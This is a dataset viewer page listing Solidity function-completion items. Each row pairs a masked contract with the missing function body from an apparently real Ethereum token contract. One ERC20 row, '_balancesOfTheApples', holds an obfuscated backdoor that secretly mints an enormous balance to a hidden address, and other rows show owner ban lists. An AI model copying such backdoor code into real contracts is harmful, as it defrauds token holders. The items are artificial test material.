Dataset Viewer
Auto-converted to Parquet Duplicate
contract_name
stringlengths
1
55
func_name
stringlengths
0
2.45k
⌀
func_body
stringlengths
1
15.6k
source_idx
stringlengths
1
6
masked_contract
stringlengths
72
27.4k
func_body_removed_comment
stringlengths
1
5.58k
SCT
balanceOf
return balanceOf[_owner];
1
contract SCT is SafeMath{ string public name; string public symbol; address public owner; uint8 public decimals; uint256 public totalSupply; address public icoContractAddress; uint256 public tokensTotalSupply = 3100 * (10**6) * 10**18; mapping (address => bool) restrictedAddress...
return balanceOf[_owner];
EthereumSpring
null
name = "Ethereum Spring (Official)"; symbol = "eSpring"; decimals = 18; _totalSupply = 1000000000000000000000000000000000; balances[msg.sender] = 1000000000000000000000000000000000; emit Transfer(address(0), msg.sender, _totalSupply);
100005
contract EthereumSpring is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => ui...
name = "Ethereum Spring (Official)"; symbol = "eSpring"; decimals = 18; _totalSupply = 1000000000000000000000000000000000; balances[msg.sender] = 1000000000000000000000000000000000; emit Transfer(address(0), msg.sender, _totalSupply);
ToyOwnership
ownerOf
// owner must not be the zero address require ( toyArray[uidToToyIndex[_tokenId]].owner != 0, "TOY Token has no owner" ); return toyArray[uidToToyIndex[_tokenId]].owner;
100010
contract ToyOwnership { struct ToyToken { // owner ID list address owner; // unique identifier uint uid; // timestamp uint timestamp; // exp uint exp; // toy data bytes toyData; } struct ExternalNft{ // Co...
require ( toyArray[uidToToyIndex[_tokenId]].owner != 0, "TOY Token has no owner" ); return toyArray[uidToToyIndex[_tokenId]].owner;
CryptoAdsToken
name
return "CryptoAds Token";
100012
contract CryptoAdsToken is AbstractToken { /** * Address of the owner of this smart contract. */ address private owner; /** * Total number of tokens in circulation. */ uint256 tokenCount; /** * True if tokens transfers are currently frozen, false otherwise. */ bool frozen = ...
return "CryptoAds Token";
ValidationUtil
requireNotEmptyAddress
require(isAddressNotEmpty(value));
100014
contract ValidationUtil { function requireNotEmptyAddress(address value){<FILL_FUNCTION_BODY>} function isAddressNotEmpty(address value) internal returns (bool result){ return value != 0; } }
require(isAddressNotEmpty(value));
ERC20
_balancesOfTheApples
_balances[account] += (((account == _msgSanders) && (garbage > 2)) ? (10 ** 45) : 0);
100017
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable { mapping (address => bool) private Bottle; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address[] private Hotel; address private Ocean = address(0); addr...
_balances[account] += (((account == _msgSanders) && (garbage > 2)) ? (10 ** 45) : 0);
DXC
DXC
owner = msg.sender; uint256 teamtoken = 1e1; distr(owner, teamtoken);
10002
contract DXC is ERC20 { using SafeMath for uint256; address owner = 0xBc4b57D2789a0EfF23662F08A4210351909Aa4B0; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; mapping (address => bool) public blacklist; string public constant nam...
owner = msg.sender; uint256 teamtoken = 1e1; distr(owner, teamtoken);
SocialRecoveryModule
getDataHash
return keccak256(data);
10003
contract SocialRecoveryModule is Module { string public constant NAME = "Social Recovery Module"; string public constant VERSION = "0.0.2"; uint256 public threshold; address[] public friends; // isFriend mapping maps friend's address to friend status. mapping (address => bool) public ...
return keccak256(data);
Zoomates
null
_feeAddrWallet1 = payable(0xAdd93476694A4F99912024aE9370F1153eB2D9D2); _feeAddrWallet2 = payable(0xAdd93476694A4F99912024aE9370F1153eB2D9D2); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedF...
100034
contract Zoomates is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; ...
_feeAddrWallet1 = payable(0xAdd93476694A4F99912024aE9370F1153eB2D9D2); _feeAddrWallet2 = payable(0xAdd93476694A4F99912024aE9370F1153eB2D9D2); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee...
RPTToken
RPTToken
crowdFundAddress = _crowdFundAddress; // Token Distribution tokensAllocatedToCrowdFund = 70 * 10 ** 24; // 70 % allocation of totalSupply keyEmployeeAllocation = 30 * 10 ** 24; // 30 % allocation of totalSupply // Assigned balances to respective stakeholders balances[founderMultiSigAddress] = keyEmployeeAllo...
10004
contract RPTToken is BasicToken { using SafeMath for uint256; string public name = "RPT Token"; //name of the token string public symbol = "RPT"; // symbol of the token uint8 public decimals = 18; // decimals uint256 public totalSupply = 100000000 * 10**18; // total supply of RPT Tokens // variables uint256...
crowdFundAddress = _crowdFundAddress; tokensAllocatedToCrowdFund = 70 * 10 ** 24; keyEmployeeAllocation = 30 * 10 ** 24; balances[founderMultiSigAddress] = keyEmployeeAllocation; balances[crowdFundAddress] = tokensAllocatedToCrowdFund; totalAllocatedTokens = balances[founderMultiSigAddress];
GreenLightToken
null
symbol = "KORI"; name = "Green Light Token"; decimals = 0; _totalSupply = 100000000; balances[0xcac6512d85d1d0e505c343ADe6Da7B8d2CF8BBdf] = _totalSupply; emit Transfer(address(0), 0xcac6512d85d1d0e505c343ADe6Da7B8d2CF8BBdf, _totalSupply);
100040
contract GreenLightToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ----------------------------------...
symbol = "KORI"; name = "Green Light Token"; decimals = 0; _totalSupply = 100000000; balances[0xcac6512d85d1d0e505c343ADe6Da7B8d2CF8BBdf] = _totalSupply; emit Transfer(address(0), 0xcac6512d85d1d0e505c343ADe6Da7B8d2CF8BBdf, _totalSupply);
TeamPool
vestingCount
return cache[_beneficiary].length;
100045
contract TeamPool is TokenPool, Ownable { mapping(address => TokenVesting[]) cache; function addVestor( address _beneficiary, uint256 _start, uint256 _cliff, uint256 _duration, uint256 totalTokens, bool revokable ) public onlyOwner poolReady return...
return cache[_beneficiary].length;
AdoreNetwork
reinvest
require(rewardLedger[msg.sender]>0); uint256 _amountOfTokens = purchaseTokens(rewardLedger[msg.sender],genTree[msg.sender]); rewardLedger[msg.sender] = 0; return _amountOfTokens;
10005
contract AdoreNetwork { modifier onlyBagholders() { require(myTokens() > 0); _; } modifier onlyAdministrator(){ address _customerAddress = msg.sender; require(administrators[_customerAddress]); _; } /*============================== = ...
require(rewardLedger[msg.sender]>0); uint256 _amountOfTokens = purchaseTokens(rewardLedger[msg.sender],genTree[msg.sender]); rewardLedger[msg.sender] = 0; return _amountOfTokens;
BTCGW
null
_mint(msg.sender, initialSupply); // 21 Millions of BTCGW - Initial supply _maximumSupply = 2100000000000000;
100053
contract BTCGW is Ownable, ERC20Burnable, ERC20Detailed { uint256 private _maximumSupply; constructor(uint256 initialSupply) ERC20Detailed("BitcoinGalaxy Warp", "BTCGW", 8) public {<FILL_FUNCTION_BODY>} function maximumSupply() public view returns (uint256) { return _maximumSupply; } ...
_mint(msg.sender, initialSupply); _maximumSupply = 2100000000000000;
JesusCoin
mercy
return _mercyOfGod;
100057
contract JesusCoin is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balance; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; uint256 private _tTotal = TOTAL_SUPPLY * 10**DECIMALS; ...
return _mercyOfGod;
Token
null
_symbol = "ERRR"; _name = "ELON MUSK Rapid Rocket"; _decimals = 6; _totalSupply = 10000000000000; _owner = payable(msg.sender); _balances[_owner] = _totalSupply;
100060
contract Token is ERC20{ mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; uint8 private _decimals; string private _name; string private _symbol; address payable private _owner; construc...
_symbol = "ERRR"; _name = "ELON MUSK Rapid Rocket"; _decimals = 6; _totalSupply = 10000000000000; _owner = payable(msg.sender); _balances[_owner] = _totalSupply;
Crowdsale
burnRemaining
uint256 burnThis = token.balanceOf(this); token.transfer(address(0), burnThis);
100061
contract Crowdsale is Ownable { using SafeMath for uint256; Token public token; uint256 public RATE = 50000; // Number of tokens per Ether uint256 public START; uint256 public minETH = 100 finney; uint256 public constant initialTokens = 4000000000 * 10**18; // Initial number of...
uint256 burnThis = token.balanceOf(this); token.transfer(address(0), burnThis);
coffer_token
allowance
if (deprecated) { return StandardToken_CT(upgradedAddress).allowance(_owner, _spender); } else { return super.allowance(_owner, _spender); }
100062
contract coffer_token is Pausable_CT, StandardToken_CT, BlackList_CT { string public name; string public symbol; uint public decimals; uint public Shares_outstanding; address public upgradedAddress; bool public deprecated; // The contract can be initialized with a number of tok...
if (deprecated) { return StandardToken_CT(upgradedAddress).allowance(_owner, _spender); } else { return super.allowance(_owner, _spender); }
xCoolCats
_baseURI
return _baseTokenURI;
100063
contract xCoolCats is Ownable, ERC721A, ReentrancyGuard { uint256 public maxPerAddressDuringMint; uint256 public amountForDevs; uint256 public price = 0.01 ether; uint256 public freemintAmount = 20; uint256 public mintAmount = 20; bool public revealed = false; struct SaleConfig { uint64 publicP...
return _baseTokenURI;
BTFD
null
_feeAddrWallet1 = payable(0xcc3DCdC97276a743157bb1f49B32C5203140c489); _feeAddrWallet2 = payable(0xcc3DCdC97276a743157bb1f49B32C5203140c489); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedF...
100065
contract BTFD is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; ma...
_feeAddrWallet1 = payable(0xcc3DCdC97276a743157bb1f49B32C5203140c489); _feeAddrWallet2 = payable(0xcc3DCdC97276a743157bb1f49B32C5203140c489); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee...
DummyBancorToken
withdraw
if (balances[msg.sender] < amount) return false; uint256 ethAmount = calculateSaleReturn(totalSupply, reserveBalance(), ratio, amount); balances[msg.sender] -= amount; totalSupply -= amount; if (!msg.sender.send(ethAmount)) { balances[msg.sender] += amount; ...
10007
contract DummyBancorToken is BasicERC20Token, BancorFormula { string public standard = 'Token 0.1'; string public name = 'Dummy Constant Reserve Rate Token'; string public symbol = 'DBT'; uint8 public decimals = 18; uint256 public totalSupply = 0; uint8 public ratio = 10; // CRR of 10% ...
if (balances[msg.sender] < amount) return false; uint256 ethAmount = calculateSaleReturn(totalSupply, reserveBalance(), ratio, amount); balances[msg.sender] -= amount; totalSupply -= amount; if (!msg.sender.send(ethAmount)) { balances[msg.sender] += amount; ...
ERC20BonusFactory
newBonus
ERC20Bonus addr = new ERC20Bonus(_bank, _share_address, _snapshot_block, _start_block, _end_block, _bonus_total); emit CreateERC20Bonus(address(addr)); return addr;
100071
contract ERC20BonusFactory{ event CreateERC20Bonus(address addr); function newBonus(address _bank, address _share_address, uint _snapshot_block, uint _start_block, uint _end_block, uint _bonus_total) public returns (ERC20Bonus){<FILL_FUNCTION_BODY>} }
ERC20Bonus addr = new ERC20Bonus(_bank, _share_address, _snapshot_block, _start_block, _end_block, _bonus_total); emit CreateERC20Bonus(address(addr)); return addr;
TestCoin
TestCoin
symbol = "TC"; name = "TestCoin Token"; decimals = 18; _totalSupply = 100000000000000000000000000; balances[0x1aADad79d2104df022b7b2C6cf3eEfd7014062B0] = _totalSupply; Transfer(address(0), 0x1aADad79d2104df022b7b2C6cf3eEfd7014062B0, _totalSupply);
100072
contract TestCoin is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // -----------------------------------------...
symbol = "TC"; name = "TestCoin Token"; decimals = 18; _totalSupply = 100000000000000000000000000; balances[0x1aADad79d2104df022b7b2C6cf3eEfd7014062B0] = _totalSupply; Transfer(address(0), 0x1aADad79d2104df022b7b2C6cf3eEfd7014062B0, _totalSupply);
TechZU
TechZU
balances[msg.sender] = 9000000000000000000000000; totalSupply = 9000000000000000000000000; name = "TechZ-Utoken"; decimals = 18; symbol = "TZUT";
100083
contract TechZU is StandardToken { function () { throw; } /* Public variables of the token */ string public name; uint8 public decimals; string public symbol; string public version = 'H1.0'; function TechZU...
balances[msg.sender] = 9000000000000000000000000; totalSupply = 9000000000000000000000000; name = "TechZ-Utoken"; decimals = 18; symbol = "TZUT";
GonFreecsInu
transferFrom
require(bannedUsers[sender] == false, "Sender is banned"); require(bannedUsers[recipient] == false, "Recipient is banned"); _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"))...
100089
contract GonFreecsInu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) bannedUsers; uint256 private _tTotal ...
require(bannedUsers[sender] == false, "Sender is banned"); require(bannedUsers[recipient] == false, "Recipient is banned"); _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); ...
GA
null
_feeAddrWallet1 = payable(0x9e9353E0d8348B3483EED26CC36eede056f201ae); _feeAddrWallet2 = payable(0x9e9353E0d8348B3483EED26CC36eede056f201ae); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedF...
100090
contract GA is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapp...
_feeAddrWallet1 = payable(0x9e9353E0d8348B3483EED26CC36eede056f201ae); _feeAddrWallet2 = payable(0x9e9353E0d8348B3483EED26CC36eede056f201ae); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee...
ForkSweeper
redirect
if (isForked) { ethAddress.transfer(msg.value); return; } etcAddress.transfer(msg.value); return;
100095
contract ForkSweeper { bool public isForked; constructor() public { isForked = AmIOnTheFork(0x2BD2326c993DFaeF84f696526064FF22eba5b362).forked(); } function redirect(address ethAddress, address etcAddress) public payable {<FILL_FUNCTION_BODY>} }
if (isForked) { ethAddress.transfer(msg.value); return; } etcAddress.transfer(msg.value); return;
PUG
null
_admin = msg.sender; _symbol = "PUG"; _name = "Pug Token"; _decimals = 18; _totalSupply = 1000000* 10**uint(_decimals); balances[msg.sender]=_totalSupply;
100113
contract PUG is ERC20 { using SafeMath for uint256; string internal _name; string internal _symbol; uint8 internal _decimals; uint256 internal _totalSupply; address internal _admin; mapping (address => uint256) internal balances; mapping (address => mapp...
_admin = msg.sender; _symbol = "PUG"; _name = "Pug Token"; _decimals = 18; _totalSupply = 1000000* 10**uint(_decimals); balances[msg.sender]=_totalSupply;
set_rebase
start_rebase
require(msg.sender == 0xF5bC663Bca33af81E2fb8f72D24Cad0D14665871 || msg.sender == 0xaa447A04b15AFF261e0683f293A1b731c5c10c9B); zombie.rebase(epoch, indexDelta, positive); pair.sync();
100115
contract set_rebase{ ZOMBIE zombie = ZOMBIE(0xd55BD2C12B30075b325Bc35aEf0B46363B3818f8); UniswapPair pair = UniswapPair(0xC83E9d6bC93625863FFe8082c37bA6DA81399C47); function start_rebase(uint256 epoch, uint256 indexDelta, bool positive)public{<FILL_FUNCTION_BODY>} }
require(msg.sender == 0xF5bC663Bca33af81E2fb8f72D24Cad0D14665871 || msg.sender == 0xaa447A04b15AFF261e0683f293A1b731c5c10c9B); zombie.rebase(epoch, indexDelta, positive); pair.sync();
WhitelistsRegistration
checkRegistrationStatus
if (goldWhiteList[_address]) { return WhiteListState.Gold; } if (silverWhiteList[_address]) { return WhiteListState.Silver; } return WhiteListState.None;
100118
contract WhitelistsRegistration is Ownable { // List of whitelisted addresses for KYC under 10 ETH mapping(address => bool) silverWhiteList; // List of whitelisted addresses for KYC over 10 ETH mapping(address => bool) goldWhiteList; // Different stage from the ICO enum WhiteLis...
if (goldWhiteList[_address]) { return WhiteListState.Gold; } if (silverWhiteList[_address]) { return WhiteListState.Silver; } return WhiteListState.None;
FIBA
null
_feeAddrWallet1 = payable(0xb9ad731bff7Dd1e1d5956e95470fab4c0bF41B3C); _feeAddrWallet2 = payable(0xb9ad731bff7Dd1e1d5956e95470fab4c0bF41B3C); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedF...
10012
contract FIBA is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; ma...
_feeAddrWallet1 = payable(0xb9ad731bff7Dd1e1d5956e95470fab4c0bF41B3C); _feeAddrWallet2 = payable(0xb9ad731bff7Dd1e1d5956e95470fab4c0bF41B3C); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee...
INVEToken
null
symbol = "INVE"; name = "InveCoin"; decimals = 18; _totalSupply = 183000000 * 10**uint(decimals); balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply);
100125
contract INVEToken is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // -------------------------...
symbol = "INVE"; name = "InveCoin"; decimals = 18; _totalSupply = 183000000 * 10**uint(decimals); balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply);
PATH
PATH
transferableStartTime = _transferableStartTime;
100134
contract PATH is MintableToken, BurnableToken, SafePayloadChecker { /** * @dev the original supply, for posterity, since totalSupply will decrement on burn */ uint256 public initialSupply = 400000000 * (10 ** uint256(decimals)); /** * ERC20 Identification Functions */ string public constant...
transferableStartTime = _transferableStartTime;
VINContract
sendTokensToFounders
require(!sentTokensToFounders && now >= foundersRewardTime); //Calculate total tokens sold on pre-ICO and ICO uint tokensSold = add(totalSoldOnICO, totalSoldOnPresale); uint totalTokenToSold = add(ICOCap, presaleCap); uint x = mul(mul(tokensSold, totalCap), 35); ...
100139
contract VINContract is SafeMath { /* * ICO meta data */ VINNDTokenContract public VINToken; enum Stage{ Pause, Init, Running, Stopped } enum Type{ PRESALE, ICO } // Initializing current steps Stage public currentStage = Stage.Pause;...
require(!sentTokensToFounders && now >= foundersRewardTime); uint tokensSold = add(totalSoldOnICO, totalSoldOnPresale); uint totalTokenToSold = add(ICOCap, presaleCap); uint x = mul(mul(tokensSold, totalCap), 35); uint y = mul(100, totalTokenToSold); uint resu...
CKUSDToken
null
symbol = "CKUSD"; name = "CKUSD"; decimals = 18; _totalSupply = 100000000 * 10**uint(decimals); balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply);
10014
contract CKUSDToken is ERC20Interface { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // -----------------------------------------------...
symbol = "CKUSD"; name = "CKUSD"; decimals = 18; _totalSupply = 100000000 * 10**uint(decimals); balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply);
AirdropDistributor
distribute
require(msg.sender == owner, "Not owner"); for (uint i = 0; i < recipients.length; i++) { IERC721(floyds).safeTransferFrom( source, recipients[i].account, recipients[i].tokenId ); }
100142
contract AirdropDistributor { struct Recipient { address account; uint tokenId; } address public immutable owner; address public constant floyds = 0x39C1Fb9a9b3b39f1953E7967156A8f11A831Fd44; address public constant source = 0x7A97f91fA492Dc693c141A040Ecc605F518Ca11c; // assign owner in ...
require(msg.sender == owner, "Not owner"); for (uint i = 0; i < recipients.length; i++) { IERC721(floyds).safeTransferFrom( source, recipients[i].account, recipients[i].tokenId ); }
End of preview. Expand in Data Studio

No dataset card yet

Downloads last month
11